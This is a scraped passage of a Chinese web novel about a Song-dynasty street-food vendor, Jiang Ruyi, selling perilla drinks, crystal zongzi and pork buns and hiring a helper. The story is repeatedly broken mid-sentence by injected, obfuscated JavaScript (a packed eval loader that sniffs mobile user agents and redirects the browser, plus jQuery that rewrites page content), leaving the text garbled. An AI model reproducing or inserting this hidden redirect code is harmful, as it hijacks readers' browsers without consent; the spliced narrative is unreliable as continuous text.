这紫苏饮子，是姜如意这两日琢磨着新上的。 取紫苏、肉桂、陈皮和甘草等药材，细细的研磨成粉状，然后加水煮沸，再调入蜂蜜。将这一锅慢慢用小火熬着，逐渐熬成稠膏状，等放凉之后，用小罐子封起来。 喝的时候，只需取一点这紫苏膏，加水调开了，喝进嘴里又清爽又蜜甜，特别适合夏天的时候饮用。 只可惜，她这小摊子上没有冰，不然若是再用冰镇了，一定清凉可口，是绝佳的消暑神品。 姜如意将那两杯饮子放下，笑着说道：“这是近日新上的紫苏饮子，可以理气和中，行气消食，今日免费试饮，请两位客人尝尝。” 那两名小娘子听说是免费的，连忙道谢，都好奇的看一眼这白瓷杯子，端起来喝了一口。 这一口饮子喝下去，那粉色芙蓉面的小娘子眼睛就亮了。好喝，尝着比那些酒楼里的方子还要香浓些。 她放下杯子，用帕子擦了擦嘴角，朝姜如意称赞：“这饮子味道极好，多谢摊主。” 姜如意笑眯眯的谦虚两声，见对方注意力被面前的紫苏饮子吸引过去，不再缠着问那裴少尹的事情，松了一口气。 她转身回了摊子上，也给自己调了一杯紫苏饮子，悠闲的小口啜饮起来。 接下来两日，这些小娘子们每日都来，颇有些等不到人就不走的意思。 姜如意听她们明里暗里的打探，实在被缠的头疼。 甚至有口齿伶俐的小娘子，见打探不出什么，就看一眼姜如意，语气幽幽的说道。 “以前从未听说过裴少尹在外面吃饭，一来就选了你这馄饨摊，莫不是因为女摊主的相貌，格外好的缘故？” 姜如意看一眼这穿湖蓝色衫裙小娘子，只好脾气的笑笑：“也或许是因为本摊的三鲜小馄饨，确实好吃呢？” 那小娘子听姜如意这么说，倒也找不出反驳的理由来，悻悻的闭上嘴。 毕竟她们吃了这么多天的馄饨，味道确实是真好。 虽然这些小娘子们每日都问同样的问题，但这两日，紫苏饮子也卖的甚好。几乎每一位来的女客，都要点上一杯，一边吃三鲜小馄饨，一边配着饮子喝。 姜如意第一批煮的紫苏膏很快就卖光了，赶紧又补了第二批。 别看这紫苏饮子一杯卖的价钱不算多，只要三文钱，但是利润高啊。那些材料皆是从药材铺子里买来的，价格很是亲民。 姜如意数着赚到手的银钱，很大度的原谅了这些小娘子们。 等又过了两日，实在被缠的心烦的时候，姜如意便舍了这馄饨摊，趁着大相国寺又开放交易，在寺外的大树下支起个小摊子。 小摊子也不卖馄饨，而是将那五香豆腐干，薄脆胡饼和紫苏饮子依次摆上，又把布幌子挂上。 有路过的客人饿了或是渴了，买上一份，又便宜又方便，卖的十分不错。 眼前，一位买东西的熟客，正笑着说道：“姜小娘子这摊子摆的时候正好，恰这两日，某陪家中母亲来大相国寺上香，回去的时候，正好能买些五香豆腐干带回去。” 姜如意看着那熟客，笑吟吟将包好的五香豆腐干递过去：“这可真是巧了不是？等过两日端午节了，还打算做些粽子卖，欢迎客人到时候来买。” 那熟客点点头，嘴上乐呵呵的说着“一定一定”，拎着纸包离开。 姜如意送走摊子前的客人，坐在大树底下，悠闲的喝一口紫苏饮子。 想想就在半个多月前，她还在因为房租发愁。 没想到这段时日下来，不仅提前向慧慈师太付了半年的房租，而且手里还存了几贯钱，在这偌大的汴京城里，总算有了些归属感。 不过，转而想到馄饨摊上，那些每日都来的小娘子们，姜如意又有些头疼起来。再这样下去，恐怕她也别卖晡食，干脆改卖紫苏饮子算了。 正想着，就见不远处有一道身影，恰好朝这边看过来。 裴昭看见树下的姜如意朝自己看了过来，朝她略一颔首。想起那日唐锦说的话来，略沉吟了一下，到底抬脚朝树下走去。 姜如意没想到小娘子们辛辛苦苦等的兔子，竟然让自己给碰上了，她将手上的紫苏饮子放下，抬头朝他看过去。 “裴少尹要买饮子或者吃食吗？” 裴昭低头看一眼面前摆着的眼熟的薄脆胡饼、五香豆腐干，又看一眼她身前那杯紫苏饮子，然后才将视线收回来，朝姜如意摇了摇头：“不必了。” 姜如意“哦”了一声，重新低下头去，发现他没走，不由又纳闷的抬起头来。 就听裴昭淡淡的开口：“女郎这几日不去州桥夜市，可是都在大相国寺外摆摊？” 姜如意点了点头，心想自己在这里摆摊，有一大半的原因可是因你而起的。 虽从心里面腹诽着，姜如意面上却笑笑，客套一句：“是啊，临近端午节了，这几日打算做些粽子，拿到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“听说，裴少尹这几日虽在大相国寺外当值，但人却极少露面。” “丁家五娘和庄家三娘去找了几回，连人影子都没有看见，只能悻悻的回去了。” “我倒是没想到，裴少尹那么冷清的人，竟然主动帮你解围。”唐锦说着，调皮的朝姜如意挤挤眼睛。 旁边的唐飞见状，假装没听见两人的八卦，肃着脸低下头吃馄饨。 姜如意看着这位自来熟的唐小娘子，闻言倒是意外了。 先前，她还在好奇，那位裴少尹如何应付这千娇百媚的小娘子，没想到他根本没想应付，直接连面都不露，让她们扑了个空。 怎么？难道这几日，裴少尹没在大相国寺外值守吗？ 怪只怪她们运气不好，去的时间恰好没看见人而已。 姜如意朝唐锦笑笑：“这也不失为一个好办法。” 唐锦却撇撇嘴，一副没看上好戏的失望样子。 “可惜，我还想看着丁五娘和庄三娘铩羽而归呢。你不知道，尤其是庄三娘，平时骄傲的什么似的，没想到竟然看上了裴少尹，啧啧。” 姜如意想到那位口齿伶俐的湖蓝色衫裙小娘子，很是赞同的点点头，那位看上去，的确是很骄傲。 相比之下，那位粉色衫裙的丁五娘，性子要好上许多。 姜如意又看了一眼满脸遗憾的唐锦，心想这汴京城贵女们的关系，还真是错综复杂的很。 解决了馄饨摊上的事情，姜如意总算能松一口气，开始琢磨端午节上要卖的粽子。 12. 试吃、果品入粽 本朝粽子的口味已经是五花八门，不仅有后世常见的蜜枣、糖粽这些，还有加了栗子或是核桃的坚果粽子。 除此之外，时人还另辟蹊径，以果脯蜜饯入粽。 初次读到大文学家苏轼写的杨梅粽时，姜如意觉得十分新鲜。 莫不是把杨梅当馅，直接包进粽子里？或者制成杨梅煎，包出来的口味跟糖粽差不多？ 亦或者是取了杨梅的汁子，将糯米染成鲜亮的紫红色？ 无论是什么样的做法，总之这时候的粽子，还是以甜口的为主。 故姜如意打算做的，也是当下常见的蜜枣粽和豆沙粽，除此之外，还打算做一些新奇的水晶粽子。 水晶粽子，和它的名字一样，外表晶莹剔透，里面的内馅则是用了红豆、绿豆和枣泥，为的是妆点出鲜艳的颜色，最里面，再包上切碎的果品蜜饯。 这水晶粽包好之后，一个个看上去五颜六色的，好不好吃还在其次，最主要的是好看。 这时候木薯粉还没有传进来，姜如意改用了马蹄粉。 做出来的粽子个头不大，只有半个巴掌大小，挤挤挨挨摆在盘子里。拿在手上剥开一只，小粽子玲珑剔透的，里面透出或深红或淡绿色的内馅来。 慧慈师太看着这小小的水晶粽子，还未吃，就先稀罕起来。 “这粽子的模样，以前怎得从未见过？” 等将粽子吃进了嘴里，慧慈师太惊讶的低头看看。 只觉得粽子外面劲道弹滑，里面的内馅细腻绵密，再仔细嚼嚼，嗯？竟然还有蜜饯，滋味酸甜可口，当真好吃极了。 再配上姜如意端来的紫苏饮子，在夏日里吃上一口，只觉得清凉爽口，仿若周围空气都跟着凉爽下来。 慧慈师太赞道：“好新奇的小粽子，先不说滋味极好，就这模样，就算不吃光摆着看看，玲玲珑珑的，也觉得格外漂亮。” “况这个季节，看着就心里面清爽。” 慧慈师太称赞完这水晶粽子，又夸刚才的蜜枣粽和豆沙粽。 “那蜜枣粽不但去了核，而且吃着还比寻常的更甜些，莫不是用了什么方法？” 姜如意笑笑：“慧慈师太好灵的舌头，正是先用蜜渍过的，吃起来格外香甜不说，而且枣皮也没原先那么硬。” 慧慈师太连说了几遍“原来如此”，又夸那豆沙粽：“粽子尖尖上那么一段殷红，瞧着倒像是美人面。” 而后又感叹：“姜小娘子的心思怎得如此灵巧，若是换成旁人，无论如何都想不出来这些巧思的。” 姜如意被夸的直笑起来：“这粽子虽然做的好，但师太夸的也好，若是换成个只爱闷头吃的，恐怕就变成牛嚼牡丹了。” 慧慈师太喝一口紫苏饮子在嘴里，闻言也跟着笑起来。 又问道：“过几日端午节，姜小娘子打算摆摊去卖粽子？” 姜如意点点头。 慧慈师太又叹气：“依我看着，姜小娘子每日忙忙碌碌，不仅要顾着馄饨摊子，还时不时去大相国寺摆摊，况卖的吃食越来越多，也该招个人手才是。” 姜如意听到慧慈师太这么说，也觉得有道理。她咬一口手上的蜜枣粽，仔细琢磨起来。 等试吃完这批粽子，姜如意又在口味上稍稍改进了一番。 比如先前那水晶粽子里的蜜饯切的太碎，不太能吃出来，因而换成了整颗的。 豆沙粽不是很甜，可以再往豆沙里再加些糖，蜜枣粽就有些过甜了，需要斟酌着减些。 等煮完第二批粽子，姜如意拎着竹篮子，去了一趟城外的慈幼局。 …… 今日阳光很好，堆的满满当当的大院子里，几个五、六岁大的小包子，正围着一只黑色粗陶的大面盆，一个个神情专注，表情非常严肃。 “已经半个时辰了，阿意姐姐说这面团半个时辰就能发好，快点掀盖子。” “等一下。”旁边伸出一只小胖手来，出声阻止，其余几个小包子都转头看向他。 只见这个胖乎乎的小包子，一脸严肃的说道：“阿意姐姐说了，发面的时间要根据当天的温度决定，不能光看时间。面团要蓬松的，变成蜂、蜂蜂状的，那才能算成功。” 其余几个小包子对视了一眼，都抬头看一看天色。 一个梳着双丫髻的小姑娘，奶声奶气的说道：“今天的太阳就很好啊，跟上次阴天的天气一点都不一样，这一回，面团应该能变成蜂蜂状了吧？” 胖乎乎的小包子名叫小六，闻言也抬头看了看天上的太阳，点点头：“那好，可以掀盖子了。” 随着面盆的盖子被掀开，几只小脑袋凑到一起，同时发出好奇的“哇”的声音，紧接着又“唉”了一声，同时耷拉成皱皱的包子脸。 小姑娘阿茹奶声奶气的声音传来：“哎呀，又失败了。” 几个小包子开口埋怨：“小六，你是怎么学的呀？怎么又失败了。” “呜呜呜，今天又要饿肚子了，我不想吃发酸的饭饭。” 小六耷拉着小胖脸，听同伴这么说，还不忘纠正道：“裴局长说那叫水饭，不是发酸的饭饭。” 旁边的小包子声音里带着哭腔：“我也不要吃发酸的水饭饭。” 姜如意听着这几个小包子的对话，有些哭笑不得的推门走进院子。几个小包子听见推门声，齐刷刷的朝这边看过来。 紧接着眼神一齐亮起来，齐刷刷的欢呼着朝这边跑来：“阿意姐姐。” 姜如意看着围在自己身边的小包子们，笑眯眯的蹲下来，任由小六和阿茹抱住她的腿，其余几个抱住她的腰和脖子。 听着耳边叽叽喳喳的声音，她伸手挨个摸了摸大脑袋，然后才好奇问道：“你们这是在做什么？” 阿茹抢着说道：“小六说要学着阿意姐姐发面，给我做夹馅儿馒头吃。”说着，吞了吞口水。 夹馅儿馒头，也就是后世常见的大包子。 姜如意以前在慈幼局的时候，经常做豚肉馅大包子给他们吃。 慈幼局靠着朝廷拨款和善心人的捐赠度日，每月可用的银钱不多，但好在豚肉便宜，再加上姜如意的厨艺，这些小孩子还算能吃饱。 小六低下头，一脸羞愧的说道：“可惜发面失败了，做不成馒头了。” 姜如意闻言站起来，走到那面盆旁边看了一眼，只见这面小小一团，确实没发起来。好在今日天气不错，看着还有救。 姜如意将手里的竹篮子放下，把今早煮好的粽子分给他们。 “肚子饿不饿？有好吃的甜粽子，拿进去分给大家，先吃了垫垫肚子。” 小包子们一见到有好吃的，全都欢呼了一声，馋的吸吸口水。 不过听了姜如意的话，都很乖的没有抢，而是由小六拎着篮子，慢吞吞的走进屋里去分给小伙伴们。 姜如意将面前那大面盆拿起来，想着刚才小六他们说的“水饭”，纳闷的皱了皱眉头。 裴局长不擅长做饭，在她离开之前，慈幼局里大部分的饭，都是由自己做的。 莫非慈幼局里招了新厨子？ 不过水饭这种半发酵的吃食，实在不适合小孩子，况营养也太单一了，待会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182037|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿得仔细问问裴局长。 姜如意这么想着，端着面盆朝大屋里走去。 裴局长先看见小六拎着个竹篮子进来，很是纳闷的问他东西是哪来的。当听说姜如意回来了，裴局长那蓄着山羊胡的胖脸上，立马露出个激动的表情。 也顾不得还在旁边的裴拾，三步并作两步的朝外面跑去。 “阿意呀，你可算回来了。” 姜如意才刚走到门口，一抬头，就看见了裴局长那一张眼泪汪汪的胖脸。 大半个月不见，裴局长似乎变瘦了点，连他平日里引以为傲的山羊胡，似乎都黯淡没了光泽。 裴局长一见到姜如意，就惨兮兮的看着她，抱怨自从她走了之后，慈幼局上下就没吃过一顿饱饭，日子过的别提多凄凉了。 姜如意看着裴局长一把年纪，却像小孩子似的滔滔不绝，哭笑不得的出言安慰。 一抬头，没想到还看见了一位熟人。 裴拾显然也看见了姜如意，朝她走了过来：“咦，姜小娘子？你怎么会在这里？” 姜如意也意外的开口：“小郎君怎得也在？” 裴局长止住了滔滔不绝，看看姜如意，又回头看看屋子里的裴拾，意外的眨眨眼家问道：“小十三，你和阿意认识吗？” 裴拾点了点头，乐呵呵的说道：“当然认识了。六叔你不知道，姜小娘子在汴京城里摆了个小摊子，做的薄脆胡饼和三鲜小馄饨，都特别好吃。” “这可不是吹牛的，连阿兄都去摊子上吃过馄饨呢。” 说完，又指了指手里的钱袋，给姜如意解释：“临近端午节了，阿娘和城里的夫人们给慈幼局捐了些银钱，今早让我给六叔带过来。” “多谢小郎君和各位夫人。”姜如意感激的道谢，同时听到他提“阿兄”，又有些意外。 “小郎君说的阿兄，是、裴少尹？” 裴拾点点头：“是啊，姜小娘子之前不知道吗？” 姜如意摇了摇头。 裴局长听着二人的对话，却惊讶的半天说不出话来。 什么？不仅小十三，连老三那不爱出门的清冷性子，也吃上了阿意做的饭？ 别问，问就是嫉妒。 姜如意却正好转过头来，朝裴局长问道：“裴局长，我方才听小六说最近一直在吃水饭，可是近日里新招了厨子？” 裴局长点了点头，表情似有些心虚：“招是招了，虽然厨艺不怎么好，但是胜在便宜。” 姜如意微微皱起眉头，耐着性子劝说道：“虽说便宜，但也要尽量做些有营养的饭菜才好。” 姜如意朝那竹篮子一指：“您和孩子们先吃些粽子，我去厨房一趟，待会儿给大家做夹馅儿馒头吃，今日可有豚肉？” 裴局长咽了一口口水，赶紧点点头：“有的。对了，新来的那厨子也在厨房里，阿意你正好教教她。” 姜如意说了一声好，一边端着面盆，一边朝厨房中走去。 才刚走到门口，就听到里面传来一阵“噼里啪啦”的油爆声，紧接着，一股黑烟自厨房里冒出来。 姜如意急急的推开厨房门，里面正响起一连串咳嗽声。 猝不及防身后有人，对方跟姜如意的视线对上，却是个年岁不大的女郎。 她腰上系了围裙，头上裹着粗布巾帕，一见到有人进来，十分心虚的拿起锅盖想将锅盖住，里面的黑烟却仍源源不断冒出来。 她表情讪讪的收回手。 姜如意见状，叹了一口气：“这里我收拾就好，外面有今日新煮的粽子，小女郎也去尝尝吧。” 13. 招人、夹馅儿馒头 听见姜如意这么说，这小女郎似乎长松了一口气，扭头看一眼灶上烧糊的锅，却是摇头。 “我跟小娘子一起收拾吧。” 就见她卷起袖子，拿起一旁的水瓢，舀了水倒进锅里，如此反复几次，锅里总算没有浓烟再冒出来。 她转身将厨房的窗户打开，滚滚浓烟顺着窗户散了出去，厨房里这才能看清楚人。 扭头见姜如意看着自己，这小女郎表情憨直的抓抓头，不好意思的朝这边笑笑。 姜如意见她如此，也朝她笑笑。 就听对方声音低低的说道：“小娘子要做什么，我也来帮忙吧。” 姜如意略一思索，就点点头：“好，劳烦小女郎把锅里烧糊的菜清理干净，锅也重新涮一遍。另外，若是有新鲜的豚后腿肉，帮我拿一大块来。” 这小女郎双眼一亮，连连点头：“有的，今早上才刚买来的豚肉，是我亲眼看着他们切的，十分新鲜。” 这小女郎说完，又见她吸了吸口水，好奇的问道：“小娘子是要炖肉吗？” 姜如意瞧着她这副面露期待的模样，摇摇头，笑着解释：“却不是炖肉，而是做夹馅儿馒头吃。” 这小女郎听说吃豚肉馅的夹馅儿馒头，一双眼睛顿时变得更亮了。 她殷勤的在一旁洗锅拿刀，还时不时的伸长了脖子，朝姜如意这边看过来。 姜如意先低头看一眼面前那豚肉，用手指压了压，只见陷下去的地方迅速回弹，果然十分新鲜。 剁肉馅要用宽刃厚刀，剁出来的肉馅才细腻均匀。 姜如意先在那一大块豚肉两面打上斜刀，然后再斩成小块，最后利落的用刀剁成肉馅。 不久之后，厨房里面传来一阵清脆的“哒哒哒”剁馅声。 等姜如意将肉馅剁好，把提前泡好的葱姜水，顺着筷子搅拌的方向，一点一点慢慢倒进肉馅里。 然后加鸡蛋、清酱和生粉，朝着一个方向搅上劲，按照姜如意的习惯，又泼入一勺烧滚的热油。 只听“滋啦”一声，这热油一倒入盆里，立刻激发出一股浓郁的肉香味，厨房里面顿时香气四溢。 坐在一旁看着炉灶的小女郎终于忍不住了，她三两步来到姜如意身边，低头使劲闻了闻。 “小娘子，这肉馅实在太香了。待会儿包成夹馅儿馒头，一定特别好吃。” 姜如意看着她嘴馋的模样，朝她笑笑：“不用心急，再过一会儿就能吃了。小女郎看看盆里的面可发好了？” 那小女郎连忙应了一声，又转过头来朝姜如意说道：“小娘子叫我阿芍就好。” 姜如意点头：“好。” 两人说话间，阿芍已经将发好的面端了过来，然后就站在一边看着。 也不知道姜如意是怎么做的，就见她双手先将那面团揉搓拉长，然后用刀切段再用手按扁，不一会儿，那面团就从整块儿变成了圆圆的小剂子。 姜如意又将那小剂子擀开，将调好的豚肉馅包进去，手指灵活的一捏一转，眨眼的工夫，一个带着匀称褶子的包子，就出现在了手掌上。 “好漂亮的夹馅儿馒头，我从前，还没见过模样这么精致的呢。” 阿芍在一旁看着，忍不住发出惊叹声。 姜如意将那些包子全都包好，蒸锅里已经上了气，她将包子放进笼屉里，然后一层层摞好，开始上锅蒸。 …… 不久之后，整个慈幼局上下，就吃上了这热腾腾的豚肉馅包子。 因着是刚出炉的，包子的表皮十分烫，一口咬开，浓郁的汤汁混着油脂流进嘴里，鲜美的肉香激荡，瞬间自口腔中弥漫开。 这肉馅用的是后腿上的瘦肉，最是胶质浓郁黏嘴，又因为泼了热油的缘故，所以肉质一点都不发柴，吃在嘴里又香又过瘾，满屋子人呼着热气，根本停不下来。 小六和阿茹几个，大口大口咬着包子，深褐色汤汁顺着嘴角流下来，他们也顾不上擦，只咬着包子嗯嗯嗯点头。 真香，就是这个味儿。 阿意姐姐做的夹馅儿馒头，实在是太好吃的。 姜如意怕包子太热，烫到这些小孩子们，耐心的坐在一旁，替他们将里面的肉馅吹凉，然后才看着他们吃下去。 裴局长、裴拾和阿芍就没这顾忌了，三人狼吞虎咽的将包子塞进嘴里，包子皮里都浸满了肉汁，里面的豚肉馅油而不腻，滋味香浓，好吃的险些咬了舌头。 等到肚子吃的半饱，裴拾才拿起一个包子，慢悠悠咬开一个口子，吸着里面的汤汁，满足的呼出一口气，觉得自己今天这一趟来对了。 至于阿芍，她摸着圆滚滚的肚子，实在连半个都吃不下了，表情遗憾的叹了口气。 姜如意慢条斯理的吃完包子，一抬头，就看见阿芍那副望桌兴叹的模样。 她走到阿芍身边坐下，好奇的朝她问道：“听裴局长说，你是慈幼局里新招来的厨子？” 阿芍听到姜如意问她，连忙摆摆手，十分不好意思的开口：“小娘子做的吃食才叫好吃呢。我只会煮点简单的汤饼和水饭罢了，算不上厨子。” “不过裴局长说，来这里可以免费提供食宿，所以我才来的。” 姜如意听着阿芍的话，意外的眨眨眼：“裴局长给你多少工钱？” 阿芍迷茫的抬起脸来，看着姜如意：“小娘子说什么工钱？” 姜如意有些哭笑不得的看着阿芍。 怪不得裴局长说格外便宜，合着连工钱都没有，就将人骗来做饭了。 阿芍说着说着，又低下头去，犹犹豫豫的道：“但是我厨艺实在太差了，今天还差点把厨房给烧了。小娘子你说，我要不要离开这里，去城里试着谋生？” 说完又叹气：“但是我没有银钱，这里起能码包吃住呢。” 姜如意听着阿芍的话，心里面倒是一动。 想着方才在厨房里面，阿芍勤快麻利的模样，姜如意试探着朝她问道：“若是我想雇你做帮手，不但提供食宿，每月还发工钱，你愿不愿意跟我走？” 阿芍猛然抬起脸来：“小娘子说的是真的？我可以跟着小娘子吗？” 紧接着又飞快的点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182038|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头：“愿意，我愿意跟着小娘子的。” 姜如意看着阿芍这副反应，弯眼笑了起来。 她将自己的打算给裴局长说了，又留下银钱，嘱咐他这次一定要找个靠谱的厨子。 然后在小六和阿茹几人依依不舍的注视下，离了慈幼局，朝汴京城而去。 等进了城门，阿芍瞧着街巷两侧的摊位和屋舍，整个人都睁大了双眼。 她好奇的左瞧瞧右看看，感觉自己两只眼睛都忙不过来了。这城里的玩意怎得这样新鲜，到处五颜六色的，哪哪都好看。 姜如意任由她好奇的到处看着。见天色还早，先带她去买了被褥，又去粮食铺里买了不少糯米、红豆和绿豆等，又琢磨着买了些新鲜梅子和调料。 然后就拎着大包小包，回了小庵堂。 慧慈师太听说姜如意招到了人手，很是意外的感叹道：“前两日才提起这件事情来，没想到，姜小娘子这么快就招到了合心意的人。” 姜如意笑笑，将今日慈幼局的事情说给慧慈师太听。 紧接着也一起感叹：“说来也是巧了不是？” 阿芍听两人提到自己，从碗上抬起头来，乐呵呵的朝姜如意开口：“小娘子做的三鲜小馄饨真好吃，比白日里，那豚肉馅的夹馅儿馒头还好吃。” 姜如意指了指碗里，朝她回答：“这里面放的也是豚肉，你尝尝跟白日的豚肉馒头，有什么不同。” 阿芍连忙点了点头：“哎。” 慧慈师太看着阿芍应了一声，又低头吃起小馄饨，一边吃还一边露出思索的模样，到底是笑了起来。 “这么看，姜小娘子找的人还当真合适。” 性子憨直不说，关键是对姜如意信服，而且似乎还有股隐隐的崇拜在里面？ 当第二日姜如意出门摆摊的时候，就发现阿芍对自己不仅是隐隐的崇拜，而是实打实的佩服。 大相国寺外，姜如意同平常一样支好摊子，又将那布幌子展开插在竹篮子上，将吃食在摊子上摆好。 阿芍一边手脚麻利的帮姜如意拿东西，一边对着摊子上的吃食感叹。 “小娘子说这豆腐干是用豆腐做的，怎么就吃着又香又劲道呢？” “那紫苏饮子，我光是今天早上就喝了好几杯，实在是太好喝了，以前从来没喝过这么好喝的东西。” “还有这水晶粽子，玲珑剔透的，又好吃又好看，小娘子究竟是怎么想出来的？” 姜如意听着阿芍持续了一早上的感叹声，忍不住笑了起来。 只是些吃食而已，只不过稍微新奇了些，也不必感概整整一个早上吧。 阿芍显然并不这样想，她光自己感慨还不算完，但凡路过停下的行人，都要卖力朝客人们推荐一波。 那些行人里面，有熟客也有生客，听着阿芍真心实意的推荐，都忍不住掏钱买一份尝尝。等尝过之后，嗯？ 然后纷纷掏出银钱，离开的时候，手里都拎着或一份或两份吃食，脸上露出心满意足的表情。 姜如意眨眨眼睛，莫非这就是意外之喜？ 14. 粽子热卖、梅子姜 摊子前面，有熟客见今日小摊子上多了个人，好奇的出言询问：“姜小娘子这是新招了人手？” 姜如意笑眯眯的点头：“是。” 那客人看看阿芍，搓搓手兴奋的问道：“既然新招了人手，姜小娘子这摊子上，也能再上些新吃食了吧？” 姜如意被熟客这话逗笑了，她伸手指一下面前的粽子，表情认真的点点头：“可不是正巧了吗？今日新上了粽子，客人要不要买些回去尝尝？” 那熟客一听说有新上的粽子，连忙好奇的低头去看。 果然见在摊子的正中间，摆着一个个样式玲珑精致的小粽子，却不是散卖的，而是六个、八个一份装在盒子里。 那盒子模样也讲究，用的是带花纹的罗纹纸，外面还有同样款式的盖子，光瞧着就觉得上档次。 姜如意又朝客人介绍：“这粽子礼盒里的口味不同。除了寻常的甜粽之外，还新推出了水晶粽子，是以果品入粽，里面包了不同口味的内馅。” “其中个头大些的是甜粽，个头小些的是水晶粽。” 然后又道：“客人若是第一次吃水晶粽子，拿不准口味，也可以先散着买，等尝过了觉得不错，再来买礼盒也不迟。” 这熟客听说可以散买，先是点了点头，从心里赞一句，姜小娘子当真考虑的周到。 他又自心中好奇，水晶粽子，莫不是模样如同水晶一般玲珑剔透的？ 在本朝，用水晶制成的物件儿，极受文人墨客的追捧。 工匠们将整块莹洁的水晶碾磨光滑，制成器皿，样式素雅古朴，光泽澄澈透明，是极珍贵的装饰品。 就是不知道这粽子，怎么也能做成水晶模样？ 那客人这样想着，心里面越发好奇了，他将每种口味的粽子都买了一份，然后就迫不及待的拎着粽子回家，赶紧打开来尝尝。 等回去拆开粽叶，看到里面玲珑剔透的小粽子时，这客人立马就被粽子的颜值给折服了。等尝了一口，脸上的惊讶就变成了惊喜。 这客人看一眼外面的天色，三两口将那水晶粽子吃完，然后匆匆的出了门。 …… 这水晶粽子才第一日上市，就被前来光顾的客人们，飞快的哄抢一空。 除了散买的，还有不少来买粽子礼盒的，全都是早晨买了粽子回去，下午又赶过来的回头客。 眼前这位回来买粽子的客人，正朝姜如意笑着说道：“那水晶粽子我买回去尝过了，果然看上去像水晶似的，关键吃起来也好吃。” “难为姜小娘子这粽子是如何做的，怎么当真就如水晶一般，和寻常粽子不一样呢？” 又有客人夸赞道：“这水晶粽子里面的内馅绵密香甜不说，那蜜煎放的也好，酸酸甜甜的，家里的夫人和孩子都爱吃。” 姜如意听着客人们的夸奖，十分谦虚的弯眼笑笑。 面对这些回头客，少不得送一份包裹精美的梅子姜。 这梅子是昨日路过果品铺时，姜如意顺手买回来的。 如今正是青梅成熟的季节，家家户户皆会买些回去酿青梅酒。 青梅刚摘下来的时候涩味重，口感不好，但极适合制成青梅酒。 姜如意买的这些却不同，是经过杀青之后的黄梅。 将这些黄梅买回来，先用清水反复冲洗干净，然后再晾干水分，用盐将梅子拌匀，之后从上面压上重物，为的是把里面的涩汁腌出来。 再把生姜洗净去皮之后，切成细丝。 将这经过腌制，表面变得软软糯糯的梅子，用糖和姜丝一层一层相叠，一起封进干净的罐子里。 等腌制过一夜，再将里面的梅子姜从罐子中取出来。 这腌好的梅子略带汁水，表面软软糯糯，咬一口酸甜解腻，又带了点姜的辛辣，层次十分丰富。 姜如意又朝客人说道：“多谢客人捧场，这是额外赠送的，提前祝客人端午安康。” 来买粽子的客人们见还有赠品，皆高兴的道一声谢，纷纷祝姜小娘子端午安康，然后心情愉快的拎着粽子离开。 阿芍从一旁看着，脸上明显露出一副依依不舍的表情。 小娘子腌的梅子姜，比饴糖还要好吃呢。她今早上吃过一个，半天都在回味那滋味。 阿芍一想到那梅子姜的味道，嘴里又开始疯狂的分泌口水。 姜如意恰好得了闲暇，扭头见了阿芍的表情，忍不住笑了起来。 “你若喜欢吃，剩下的那些全都给你留着。这梅子姜腌制的时间可以再久些，越往后滋味就越好。” 阿芍擦一擦口水，连忙摇摇头：“那怎么行？这梅子姜是小娘子用来送客人的，小娘子放心，我不馋的。” 姜如意听着阿芍的话，想了想觉得也是。 她点点头：“行，那就先送给买粽子礼盒的客人。” “等端午节过去了，我再多腌些，到时候各种各样的蜜煎都要有，想吃多少就吃多少。” 阿芍听着姜如意的话，连忙重重的点了点头。 各种各样的蜜煎，还能随便吃，小娘子待她真好。 阿芍这样想着，瞬间就把感动化为行动，收银钱、搬盒子递粽子，一整天都劲头十足。 等又卖了一波粽子礼盒，姜如意看看今日卖光了的粽子，收摊带着阿芍回去。 …… 到了第二日，来摊子前等待买粽子礼盒的人，早早就排起了长队。 阿芍看着面前那望不到头的队伍，忍不住咋舌道：“小娘子，今日来买粽子的人也太多了吧？” 姜如意早有心理准备，她吩咐阿芍将粽子礼盒摆好，然后安抚客人们不用着急，一个一个慢慢来，都能买到。 那一大清早就来排队的客人，见排到了自己，连忙朝姜如意问道：“姜小娘子，可还有昨日卖的粽子礼盒，给我拿两套。” 姜如意笑着点头：“有的。客人是要买六个一盒的，还是八个一盒的？” 那客人略微思索了一下，就说道：“六个和八个的各要一盒吧，大盒的留着自家吃，小盒的瞧着更精致些，可以用来送人。” 姜如意说了一声好，让阿芍收了钱，自己将两盒粽子递给眼前这客人。 等排到了下一位，竟也是一下子买了两盒，却都是八个一份的大盒。 那客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 